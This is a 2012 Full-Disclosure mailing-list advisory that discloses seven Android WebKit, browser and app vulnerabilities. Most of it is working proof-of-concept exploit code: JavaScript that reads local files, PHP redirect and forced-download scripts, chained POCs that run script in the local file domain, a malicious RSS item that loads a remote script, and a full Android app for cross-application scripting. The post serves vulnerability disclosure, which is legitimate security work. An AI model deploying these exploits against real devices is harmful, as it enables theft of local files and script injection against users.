[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
[Full-disclosure] Android Multiple Vulnerabilities
- To: full-disclosure@xxxxxxxxxxxxxxxxx
- Subject: [Full-disclosure] Android Multiple Vulnerabilities
- From: IEhrepus <5up3rh3i@xxxxxxxxx>
- Date: Wed, 8 Feb 2012 12:36:04 +0800
Android Multiple Vulnerabilities
Author: www.80vul.com [Email:5up3rh3i#gmail.com]
Release Date: 2012/2/8
References: http://www.80vul.com/android/android-0days.txt
Ph4nt0m Webzine 0x06 has been
released[http://www.80vul.com/webzine_0x06/],there
three papers on the android application security about the development
environment,browser security, inter-application communication.And published
a lot of 0days:
[0day-NO.0] android-webkit local cross-domain vulnerability
android-webkit allow local html files cross any http domain and the local
file.demo:
<script>
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
} else if(window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP',
'Microsoft.XMLHTTP',
'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0',
'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i<versions.length; i++) {
try {
request = new ActiveXObject(versions[i]);
} catch(e) {}
}
}
xmlhttp=request;
//xmlhttp.open("GET", "file://///default.prop", false);
//xmlhttp.open("GET", "http://www.80vul.com/", false);
xmlhttp.send(null);
var ret = xmlhttp.responseText;
alert(ret);
</script>
[0day-NO.1] android-webkit cross-protocol vulnerability
this vul allow cross to the file protocol from http. demo:
<iframe name=f src="location.php" ></iframe>
<script>
function init(){
f.location = "file:///default.prop";
}
setTimeout(init,5000)
</script>
location.php codz:
<?php
header("Location:file:///80vul.com");
?>
[0day-NO.2] android-webkit file:// protocol xss vulnerability
ON android-webkit File:// protocol, the lack of filtering on the directory
and file name,Lead to cross-site scripting attacks. demo:
visit this : file:///80vul.com/<script>alert(1);</script>
[0day-NO.3] android-browser/firefox auto download the file vulnerability
android-browser/firefox Handle the Content-Disposition: attachment, lack of
safety tips.So through this vul allows users to automatically download the
evil html file to the local directory.
test this code:
<?
//autodown.php
header("Content-Disposition: attachment:filename=autodown.htm");
$data=<<<android_xss_go
<script>alert(/xss/);</script>
android_xss_go;
print $data;
?>
the local file name and the path:
android 1.x --> /sdcard/download/autodown.html
android 2.x-3.x --> /sdcard/download/autodown.htm
android 4.0 --> /sdcard/download/autodown.php
firefox --> /sdcard/download/autodown.php
So,Let's play a jigsaw puzzle:
POC[1]:
//[0day-NO.1]+[0day-NO.2]
<iframe name=f src="location.php" ></iframe>
<script>
function init(){
f.location = "file:///ssss<sc"+"ript>alert(1);</sc"+"ript>/";
}
setTimeout(init,5000)
</script>
POC[2]:
//[0day-NO.1]+[0day-NO.3]
<meta http-equiv="refresh" content="0;URL=autodown.php"/>
<iframe name=f src="location.php" ></iframe>
<script>
function init(){
f.location = "file:///sdcard/Download/autodown.htm";
}
setTimeout(init,5000)
</script>
Now ,We can execute arbitrary js code on the local domain, and we can cross
any http domain and the local file used [0day-NO.0].
and go on ...
[0day-NO.4] webview.loadDataWithBaseURL() cross-protocol vulnerability
By controlling the second argument of webview.loadDataWithBaseURL(),can
cross the file:// protocol use javascript,like
<script>window.location='file://///default.prop';</script> .so the dome apk
demo:
WebView webview;
webview = (WebView) findViewById(R.id.webview);
webview.getSettings().setJavaScriptEnabled(true);
webview.setWebChromeClient(new WebChromeClient());
String
data="80vul<script>window.location='file://///default.prop';</script>";
webview.loadDataWithBaseURL("http://www.baidu.com/", data,
"text/html", "utf-8", null);
[0day-NO.5] com.htc.googlereader XSS vulnerability
com.htc.googlereader is an app on HTC Mobile [G10], there is a xss vul on
this app, then Decompilation and Found this codz:
label399: String str = this.mHeadlineShown.getSummary();
if (str.trim().contains("<iframe"))
{
this.mWebView.loadData(str, "text/html", "utf-8");
break label246;
}
this.mWebView.loadDataWithBaseURL("http://", str, "text/html",
"utf-8", null);
break label246;
the "str" have no filter and can be controlled by evil RSS:
<item>
<guid>http://www.80vul.com</guid>
<title>0day-NO.5</title>
<link>http://www.80vul.com</link>
<description><![CDATA[aa<script src='
http://www.80vul.com/xss.js'></script>]]></description>
<dc:creator>80vul</dc:creator>
<category>anddoid</category>
<pubDate>Sun, 04 Sep 2011 13:01:40 -0500</pubDate>
</item>
When opens the unread status of the rss, u can get the XSS vul. and this
is mWebView.loadDataWithBaseURL(),so can cross file:// by [0day-NO.4].
[0day-NO.6] Some Browsers for android Cross-Application Scripting
Vulnerability
the evil app can cross browser and execute arbitrary js code on the local
domain. the demo app codz:
//codz base on http://blog.watchfire.com/files/advisory-android-browser.pdf
package com.x;
//opera
//com.opera.browser com.opera.Opera
//firefox
//org.mozilla.firefox org.mozilla.firefox.App
//android
//com.android.browser com.android.browser.BrowserActivity
import android.app.Activity;
import android.content.ComponentName;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
public class TesttestActivity extends Activity {
static final String mPackage = "com.android.browser";
static final String mClass = "com.android.browser.BrowserActivity";
static final String gomPackage = "com.opera.browser";
static final String gomClass = "com.opera.Opera";
static final String mUrl = "http://www.80vul.com/autodown.php";
static final int mSleep = 15000;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
startBrowserActivity(mUrl);
try {
Thread.sleep(mSleep);
}
catch (InterruptedException e) {}
startBrowserActivitygo("file:///sdcard/Download/g.htm");
}
private void startBrowserActivity(String url) {
Intent res = new Intent("android.intent.action.VIEW");
res.setComponent(new ComponentName(mPackage,mClass));
res.setData(Uri.parse(url));
startActivity(res);
}
private void startBrowserActivitygo(String url) {
Intent res = new Intent("android.intent.action.VIEW");
res.setComponent(new ComponentName(gomPackage,gomClass));
res.setData(Uri.parse(url));
startActivity(res);
}
}
hitest
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/